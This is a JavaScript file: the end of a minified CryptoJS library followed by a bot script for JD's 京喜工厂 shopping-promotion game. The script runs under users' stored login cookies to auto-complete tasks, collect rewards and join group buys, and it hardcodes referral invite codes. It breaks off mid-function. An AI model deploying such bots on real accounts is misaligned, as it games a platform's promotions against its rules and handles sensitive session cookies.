884736: 4194368, 950272: 4198464, 1015808: 2147483712, 1048576: 4194368, 1114112: 4198400, 1179648: 2147483712, 1245184: 0, 1310720: 4160, 1376256: 2151678016, 1441792: 2151682048, 1507328: 2147487808, 1572864: 2151682112, 1638400: 2147483648, 1703936: 2151677952, 1769472: 4198464, 1835008: 2147487744, 1900544: 4194304, 1966080: 64, 2031616: 4096, 1081344: 2151677952, 1146880: 2151682112, 1212416: 0, 1277952: 4198400, 1343488: 4194368, 1409024: 2147483648, 1474560: 2147487808, 1540096: 64, 1605632: 2147483712, 1671168: 4096, 1736704: 2147487744, 1802240: 2151678016, 1867776: 4160, 1933312: 2151682048, 1998848: 4194304, 2064384: 4198464 }, { 0: 128, 4096: 17039360, 8192: 262144, 12288: 536870912, 16384: 537133184, 20480: 16777344, 24576: 553648256, 28672: 262272, 32768: 16777216, 36864: 537133056, 40960: 536871040, 45056: 553910400, 49152: 553910272, 53248: 0, 57344: 17039488, 61440: 553648128, 2048: 17039488, 6144: 553648256, 10240: 128, 14336: 17039360, 18432: 262144, 22528: 537133184, 26624: 553910272, 30720: 536870912, 34816: 537133056, 38912: 0, 43008: 553910400, 47104: 16777344, 51200: 536871040, 55296: 553648128, 59392: 16777216, 63488: 262272, 65536: 262144, 69632: 128, 73728: 536870912, 77824: 553648256, 81920: 16777344, 86016: 553910272, 90112: 537133184, 94208: 16777216, 98304: 553910400, 102400: 553648128, 106496: 17039360, 110592: 537133056, 114688: 262272, 118784: 536871040, 122880: 0, 126976: 17039488, 67584: 553648256, 71680: 16777216, 75776: 17039360, 79872: 537133184, 83968: 536870912, 88064: 17039488, 92160: 128, 96256: 553910272, 100352: 262272, 104448: 553910400, 108544: 0, 112640: 553648128, 116736: 16777344, 120832: 262144, 124928: 537133056, 129024: 536871040 }, { 0: 268435464, 256: 8192, 512: 270532608, 768: 270540808, 1024: 268443648, 1280: 2097152, 1536: 2097160, 1792: 268435456, 2048: 0, 2304: 268443656, 2560: 2105344, 2816: 8, 3072: 270532616, 3328: 2105352, 3584: 8200, 3840: 270540800, 128: 270532608, 384: 270540808, 640: 8, 896: 2097152, 1152: 2105352, 1408: 268435464, 1664: 268443648, 1920: 8200, 2176: 2097160, 2432: 8192, 2688: 268443656, 2944: 270532616, 3200: 0, 3456: 270540800, 3712: 2105344, 3968: 268435456, 4096: 268443648, 4352: 270532616, 4608: 270540808, 4864: 8200, 5120: 2097152, 5376: 268435456, 5632: 268435464, 5888: 2105344, 6144: 2105352, 6400: 0, 6656: 8, 6912: 270532608, 7168: 8192, 7424: 268443656, 7680: 270540800, 7936: 2097160, 4224: 8, 4480: 2105344, 4736: 2097152, 4992: 268435464, 5248: 268443648, 5504: 8200, 5760: 270540808, 6016: 270532608, 6272: 270540800, 6528: 270532616, 6784: 8192, 7040: 2105352, 7296: 2097160, 7552: 0, 7808: 268435456, 8064: 268443656 }, { 0: 1048576, 16: 33555457, 32: 1024, 48: 1049601, 64: 34604033, 80: 0, 96: 1, 112: 34603009, 128: 33555456, 144: 1048577, 160: 33554433, 176: 34604032, 192: 34603008, 208: 1025, 224: 1049600, 240: 33554432, 8: 34603009, 24: 0, 40: 33555457, 56: 34604032, 72: 1048576, 88: 33554433, 104: 33554432, 120: 1025, 136: 1049601, 152: 33555456, 168: 34603008, 184: 1048577, 200: 1024, 216: 34604033, 232: 1, 248: 1049600, 256: 33554432, 272: 1048576, 288: 33555457, 304: 34603009, 320: 1048577, 336: 33555456, 352: 34604032, 368: 1049601, 384: 1025, 400: 34604033, 416: 1049600, 432: 1, 448: 0, 464: 34603008, 480: 33554433, 496: 1024, 264: 1049600, 280: 33555457, 296: 34603009, 312: 1, 328: 33554432, 344: 1048576, 360: 1025, 376: 34604032, 392: 33554433, 408: 34603008, 424: 0, 440: 34604033, 456: 1049601, 472: 1024, 488: 33555456, 504: 1048577 }, { 0: 134219808, 1: 131072, 2: 134217728, 3: 32, 4: 131104, 5: 134350880, 6: 134350848, 7: 2048, 8: 134348800, 9: 134219776, 10: 133120, 11: 134348832, 12: 2080, 13: 0, 14: 134217760, 15: 133152, 2147483648: 2048, 2147483649: 134350880, 2147483650: 134219808, 2147483651: 134217728, 2147483652: 134348800, 2147483653: 133120, 2147483654: 133152, 2147483655: 32, 2147483656: 134217760, 2147483657: 2080, 2147483658: 131104, 2147483659: 134350848, 2147483660: 0, 2147483661: 134348832, 2147483662: 134219776, 2147483663: 131072, 16: 133152, 17: 134350848, 18: 32, 19: 2048, 20: 134219776, 21: 134217760, 22: 134348832, 23: 131072, 24: 0, 25: 131104, 26: 134348800, 27: 134219808, 28: 134350880, 29: 133120, 30: 2080, 31: 134217728, 2147483664: 131072, 2147483665: 2048, 2147483666: 134348832, 2147483667: 133152, 2147483668: 32, 2147483669: 134348800, 2147483670: 134217728, 2147483671: 134219808, 2147483672: 134350880, 2147483673: 134217760, 2147483674: 134219776, 2147483675: 0, 2147483676: 133120, 2147483677: 2080, 2147483678: 131104, 2147483679: 134350848 }], u = [4160749569, 528482304, 33030144, 2064384, 129024, 8064, 504, 2147483679], d = a.DES = s.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = [], i = 0; i < 56; i++) { var n = c[i] - 1; e[i] = r[n >>> 5] >>> 31 - n % 32 & 1 } for (var o = this._subKeys = [], s = 0; s < 16; s++) { for (var a = o[s] = [], f = l[s], i = 0; i < 24; i++)a[i / 6 | 0] |= e[(h[i] - 1 + f) % 28] << 31 - i % 6, a[4 + (i / 6 | 0)] |= e[28 + (h[i + 24] - 1 + f) % 28] << 31 - i % 6; a[0] = a[0] << 1 | a[0] >>> 31; for (var i = 1; i < 7; i++)a[i] = a[i] >>> 4 * (i - 1) + 3; a[7] = a[7] << 5 | a[7] >>> 27 } for (var u = this._invSubKeys = [], i = 0; i < 16; i++)u[i] = o[15 - i] }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._subKeys) }, decryptBlock: function (t, r) { this._doCryptBlock(t, r, this._invSubKeys) }, _doCryptBlock: function (t, i, n) { this._lBlock = t[i], this._rBlock = t[i + 1], r.call(this, 4, 252645135), r.call(this, 16, 65535), e.call(this, 2, 858993459), e.call(this, 8, 16711935), r.call(this, 1, 1431655765); for (var o = 0; o < 16; o++) { for (var s = n[o], a = this._lBlock, c = this._rBlock, h = 0, l = 0; l < 8; l++)h |= f[l][((c ^ s[l]) & u[l]) >>> 0]; this._lBlock = c, this._rBlock = a ^ h } var d = this._lBlock; this._lBlock = this._rBlock, this._rBlock = d, r.call(this, 1, 1431655765), e.call(this, 8, 16711935), e.call(this, 2, 858993459), r.call(this, 16, 65535), r.call(this, 4, 252645135), t[i] = this._lBlock, t[i + 1] = this._rBlock }, keySize: 2, ivSize: 2, blockSize: 2 }); i.DES = s._createHelper(d); var v = a.TripleDES = s.extend({ _doReset: function () { var t = this._key, r = t.words; this._des1 = d.createEncryptor(o.create(r.slice(0, 2))), this._des2 = d.createEncryptor(o.create(r.slice(2, 4))), this._des3 = d.createEncryptor(o.create(r.slice(4, 6))) }, encryptBlock: function (t, r) { this._des1.encryptBlock(t, r), this._des2.decryptBlock(t, r), this._des3.encryptBlock(t, r) }, decryptBlock: function (t, r) { this._des3.decryptBlock(t, r), this._des2.encryptBlock(t, r), this._des1.decryptBlock(t, r) }, keySize: 6, ivSize: 2, blockSize: 2 }); i.TripleDES = s._createHelper(v) + }(), function () { function r() { for (var t = this._S, r = this._i, e = this._j, i = 0, n = 0; n < 4; n++) { r = (r + 1) % 256, e = (e + t[r]) % 256; var o = t[r]; t[r] = t[e], t[e] = o, i |= t[(t[r] + t[e]) % 256] << 24 - 8 * n } return this._i = r, this._j = e, i } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = o.RC4 = n.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = t.sigBytes, i = this._S = [], n = 0; n < 256; n++)i[n] = n; for (var n = 0, o = 0; n < 256; n++) { var s = n % e, a = r[s >>> 2] >>> 24 - s % 4 * 8 & 255; o = (o + i[n] + a) % 256; var c = i[n]; i[n] = i[o], i[o] = c } this._i = this._j = 0 }, _doProcessBlock: function (t, e) { t[e] ^= r.call(this) }, keySize: 8, ivSize: 0 }); e.RC4 = n._createHelper(s); var a = o.RC4Drop = s.extend({ cfg: s.cfg.extend({ drop: 192 }), _doReset: function () { s._doReset.call(this); for (var t = this.cfg.drop; t > 0; t--)r.call(this) } }); e.RC4Drop = n._createHelper(a) }(), t.mode.CTRGladman = function () { function r(t) { if (255 === (t >> 24 & 255)) { var r = t >> 16 & 255, e = t >> 8 & 255, i = 255 & t; 255 === r ? (r = 0, 255 === e ? (e = 0, 255 === i ? i = 0 : ++i) : ++e) : ++r, t = 0, t += r << 16, t += e << 8, t += i } else t += 1 << 24; return t } function e(t) { return 0 === (t[0] = r(t[0])) && (t[1] = r(t[1])), t } var i = t.lib.BlockCipherMode.extend(), n = i.Encryptor = i.extend({ processBlock: function (t, r) { var i = this._cipher, n = i.blockSize, o = this._iv, s = this._counter; o && (s = this._counter = o.slice(0), this._iv = void 0), e(s); var a = s.slice(0); i.encryptBlock(a, 0); for (var c = 0; c < n; c++)t[r + c] ^= a[c] } }); return i.Decryptor = n, i }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.Rabbit = n.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, i = 0; i < 4; i++)t[i] = 16711935 & (t[i] << 8 | t[i] >>> 24) | 4278255360 & (t[i] << 24 | t[i] >>> 8); var n = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], o = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var i = 0; i < 4; i++)r.call(this); for (var i = 0; i < 8; i++)o[i] ^= n[i + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; o[0] ^= h, o[1] ^= f, o[2] ^= l, o[3] ^= u, o[4] ^= h, o[5] ^= f, o[6] ^= l, o[7] ^= u; for (var i = 0; i < 4; i++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.Rabbit = n._createHelper(h) }(), t.mode.CTR = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._counter; n && (o = this._counter = n.slice(0), this._iv = void 0); var s = o.slice(0); e.encryptBlock(s, 0), o[i - 1] = o[i - 1] + 1 | 0; for (var a = 0; a < i; a++)t[r + a] ^= s[a] } }); return r.Decryptor = e, r }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.RabbitLegacy = n.extend({ _doReset: function () { var t = this._key.words, e = this.cfg.iv, i = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], n = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var o = 0; o < 4; o++)r.call(this); for (var o = 0; o < 8; o++)n[o] ^= i[o + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; n[0] ^= h, n[1] ^= f, n[2] ^= l, n[3] ^= u, n[4] ^= h, n[5] ^= f, n[6] ^= l, n[7] ^= u; for (var o = 0; o < 4; o++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.RabbitLegacy = n._createHelper(h) }(), t.pad.ZeroPadding = { pad: function (t, r) { var e = 4 * r; t.clamp(), t.sigBytes += e - (t.sigBytes % e || e) }, unpad: function (t) { for (var r = t.words, e = t.sigBytes - 1; !(r[e >>> 2] >>> 24 - e % 4 * 8 & 255);)e--; t.sigBytes = e + 1 } }, t +}); + +const $ = new Env('京喜工厂'); +const JD_API_HOST = 'https://m.jingxi.com'; +const notify = $.isNode() ? require('./sendNotify') : ''; +//通知级别 1=生产完毕可兑换通知;2=可兑换通知+生产超时通知+兑换超时通知;3=可兑换通知+生产超时通知+兑换超时通知+未选择商品生产通知(前提:已开通京喜工厂活动);默认第2种通知 +let notifyLevel = $.isNode() ? process.env.JXGC_NOTIFY_LEVEL || 2 : 2; +const randomCount = $.isNode() ? 20 : 5; +let tuanActiveId = ``, hasSend = false; +const jxOpenUrl = `openjd://virtual?params=%7B%20%22category%22:%20%22jump%22,%20%22des%22:%20%22m%22,%20%22url%22:%20%22https://wqsd.jd.com/pingou/dream_factory/index.html%22%20%7D`; +let cookiesArr = [], cookie = '', message = '', allMessage = ''; +const inviteCodes = [ + 'AXDgNYKNLs51h24hm7ZK-w==@2pMYXE95BIkCIGcO6UzTpQ==@DgHnSIl_Xks49TJjxzo7nw==@UO68abNzUTGatLzR4Z4RTg==@xJctChTp3ru2blH_WwFopg==@W2y011egxw55xNDYP8Xpww==@NRjbnfYENRVL9QSnLZZNrA==@dmgVOhr4JdUp1CG78ohkWw==@6nURqZ5tze71d9TbZGQg3Q==', + 'AXDgNYKNLs51h24hm7ZK-w==@2pMYXE95BIkCIGcO6UzTpQ==@DgHnSIl_Xks49TJjxzo7nw==@UO68abNzUTGatLzR4Z4RTg==@xJctChTp3ru2blH_WwFopg==@W2y011egxw55xNDYP8Xpww==@NRjbnfYENRVL9QSnLZZNrA==@dmgVOhr4JdUp1CG78ohkWw==@6nURqZ5tze71d9TbZGQg3Q==', + 'AXDgNYKNLs51h24hm7ZK-w==@2pMYXE95BIkCIGcO6UzTpQ==@DgHnSIl_Xks49TJjxzo7nw==@UO68abNzUTGatLzR4Z4RTg==@xJctChTp3ru2blH_WwFopg==@W2y011egxw55xNDYP8Xpww==@NRjbnfYENRVL9QSnLZZNrA==@dmgVOhr4JdUp1CG78ohkWw==@6nURqZ5tze71d9TbZGQg3Q==', + 'AXDgNYKNLs51h24hm7ZK-w==@2pMYXE95BIkCIGcO6UzTpQ==@DgHnSIl_Xks49TJjxzo7nw==@UO68abNzUTGatLzR4Z4RTg==@xJctChTp3ru2blH_WwFopg==@W2y011egxw55xNDYP8Xpww==@NRjbnfYENRVL9QSnLZZNrA==@dmgVOhr4JdUp1CG78ohkWw==@6nURqZ5tze71d9TbZGQg3Q==', +]; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +$.tuanIds = []; +$.appId = 10001; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; + if (process.env.DREAMFACTORY_FORBID_ACCOUNT) process.env.DREAMFACTORY_FORBID_ACCOUNT.split('&').map((item, index) => Number(item) === 0 ? cookiesArr = [] : cookiesArr.splice(Number(item) - 1 - index, 1)) +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + $.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS; + await requireConfig(); + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + await requestAlgo(); + await getActiveId();//自动获取每期拼团活动ID + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + $.ele = 0; + $.pickEle = 0; + $.pickFriendEle = 0; + $.friendList = []; + $.canHelpFlag = true;//能否助力朋友(招工) + $.tuanNum = 0;//成团人数 + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdDreamFactory() + } + } + if (tuanActiveId) { + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.isLogin = true; + $.canHelp = true;//能否参团 + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + + if ((cookiesArr && cookiesArr.length >= ($.tuanNum || 5)) && $.canHelp) { + console.log(`\n账号${$.UserName} 内部相互进团\n`); + for (let item of $.tuanIds) { + console.log(`\n${$.UserName} 去参加团 ${item}`); + if (!$.canHelp) break; + await JoinTuan(item); + await $.wait(1000); + } + } + if ($.canHelp) await joinLeaderTuan();//参团 + } + } + } + if ($.isNode() && allMessage) { + await notify.sendNotify(`${$.name}`, `${allMessage}`, { url: jxOpenUrl }) + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdDreamFactory() { + try { + await userInfo(); + await QueryFriendList();//查询今日招工情况以及剩余助力次数 + // await joinLeaderTuan();//参团 + await helpFriends(); + if (!$.unActive) return + // await collectElectricity() + await getUserElectricity(); + await taskList(); + await investElectric(); + await QueryHireReward();//收取招工电力 + await PickUp();//收取自家的地下零件 + await stealFriend(); + if (tuanActiveId) { + await tuanActivity(); + await QueryAllTuan(); + } + await exchangeProNotify(); + await showMsg(); + } catch (e) { + $.logErr(e) + } +} + +function getActiveId(url = 'https://wqsd.jd.com/pingou/dream_factory/index.html') { + return new Promise(async resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + $.get(options, async (err, resp, data) => { + try { + if(err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = data && data.match(/window\._CONFIG = (.*) ;var __getImgUrl/) + if (data) { + data = JSON.parse(data[1]); + const tuanConfigs = (data[0].skinConfig[0].adConfig || []).filter(vo => !!vo && vo['channel'] === 'h5'); + if (tuanConfigs && tuanConfigs.length) { + for (let item of tuanConfigs) { + const start = item.start; + const end = item.end; + const link = item.link; + if ((new Date(item.start).getTime() <= Date.now()) && (new Date(item.end).getTime() > Date.now())) { + if (link && link.match(/activeId=(.*),/) && link.match(/activeId=(.*),/)[1]) { + console.log(`\n团活动ID: ${link.match(/activeId=(.*),/)[1]}\n有效时间:${start} - ${end}`); + tuanActiveId = link.match(/activeId=(.*),/)[1]; + break + } + } else if ((new Date(item.start).getTime() > Date.now()) && (new Date(item.end).getTime() > Date.now())) { + if (link && link.match(/activeId=(.*),/) && link.match(/activeId=(.*),/)[1]) { + console.log(`\n团活动ID: ${link.match(/activeId=(.*),/)[1]}\n有效时间:${start} - ${end}\n团ID还未开始`); + tuanActiveId = ''; + } + } else { + if (link && link.match(/activeId=(.*),/) && link.match(/activeId=(.*),/)[1]) { + console.log(`\n团活动ID: ${link.match(/activeId=(.*),/)[1]}\n有效时间:${start} - ${end}\n团ID已过期`); + tuanActiveId = ''; + } + } + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +// 收取发电机的电力 +function collectElectricity(facId = $.factoryId, help = false, master) { + return new Promise(async resolve => { + // let url = `/dreamfactory/generator/CollectCurrentElectricity?zone=dream_factory&apptoken=&pgtimestamp=&phoneID=&factoryid=${facId}&doubleflag=1&sceneval=2&g_login_type=1`; + // if (help && master) { + // url = `/dreamfactory/generator/CollectCurrentElectricity?zone=dream_factory&factoryid=${facId}&master=${master}&sceneval=2&g_login_type=1`; + // } + let body = `factoryid=${facId}&apptoken=&pgtimestamp=&phoneID=&doubleflag=1`; + if (help && master) { + body += `factoryid=${facId}&master=${master}`; + } + $.get(taskurl(`generator/CollectCurrentElectricity`, body, `_time,apptoken,doubleflag,factoryid,pgtimestamp,phoneID,timeStamp,zone`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + if (help) { + $.ele += Number(data.data['loginPinCollectElectricity']) + console.log(`帮助好友收取 ${data.data['CollectElectricity']} 电力,获得 ${data.data['loginPinCollectElectricity']} 电力`); + message += `【帮助好友】帮助成功,获得 ${data.data['loginPinCollectElectricity']} 电力\n` + } else { + $.ele += Number(data.data['CollectElectricity']) + console.log(`收取电力成功: 共${data.data['CollectElectricity']} `); + message += `【收取发电站】收取成功,获得 ${data.data['CollectElectricity']} 电力\n` + } + } else { + if (help) { + console.log(`收取好友电力失败:${data.msg}\n`); + } else { + console.log(`收取电力失败:${data.msg}\n`); + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +// 投入电力 +function investElectric() { + return new Promise(async resolve => { + // const url = `/dreamfactory/userinfo/InvestElectric?zone=dream_factory&productionId=${$.productionId}&sceneval=2&g_login_type=1`; + $.get(taskurl('userinfo/InvestElectric', `productionId=${$.productionId}`, `_time,productionId,zone`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.ret === 0) { + console.log(`成功投入电力${data.data.investElectric}电力`); + message += `【投入电力】投入成功,共计 ${data.data.investElectric} 电力\n`; + } else { + console.log(`投入失败,${data.msg}`); + message += `【投入电力】投入失败,${data.msg}\n`; + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +// 初始化任务 +function taskList() { + return new Promise(async resolve => { + // const url = `/newtasksys/newtasksys_front/GetUserTaskStatusList?source=dreamfactory&bizCode=dream_factory&sceneval=2&g_login_type=1`; + $.get(newtasksysUrl('GetUserTaskStatusList', '', `_time,bizCode,source`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + let userTaskStatusList = data['data']['userTaskStatusList']; + for (let i = 0; i < userTaskStatusList.length; i++) { + const vo = userTaskStatusList[i]; + if (vo['awardStatus'] !== 1) { + if (vo.completedTimes >= vo.targetTimes) { + console.log(`任务:${vo.description}可完成`) + await completeTask(vo.taskId, vo.taskName) + await $.wait(1000);//延迟等待一秒 + } else { + switch (vo.taskType) { + case 2: // 逛一逛任务 + case 6: // 浏览商品任务 + case 9: // 开宝箱 + for (let i = vo.completedTimes; i <= vo.configTargetTimes; ++i) { + console.log(`去做任务:${vo.taskName}`) + await doTask(vo.taskId) + await completeTask(vo.taskId, vo.taskName) + await $.wait(1000);//延迟等待一秒 + } + break + case 4: // 招工 + break + case 5: + // 收集类 + break + case 1: // 登陆领奖 + default: + break + } + } + } + } + console.log(`完成任务:共领取${$.ele}电力`) + message += `【每日任务】领奖成功,共计 ${$.ele} 电力\n`; + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +// 获得用户电力情况 +function getUserElectricity() { + return new Promise(async resolve => { + // const url = `/dreamfactory/generator/QueryCurrentElectricityQuantity?zone=dream_factory&factoryid=${$.factoryId}&sceneval=2&g_login_type=1` + $.get(taskurl(`generator/QueryCurrentElectricityQuantity`, 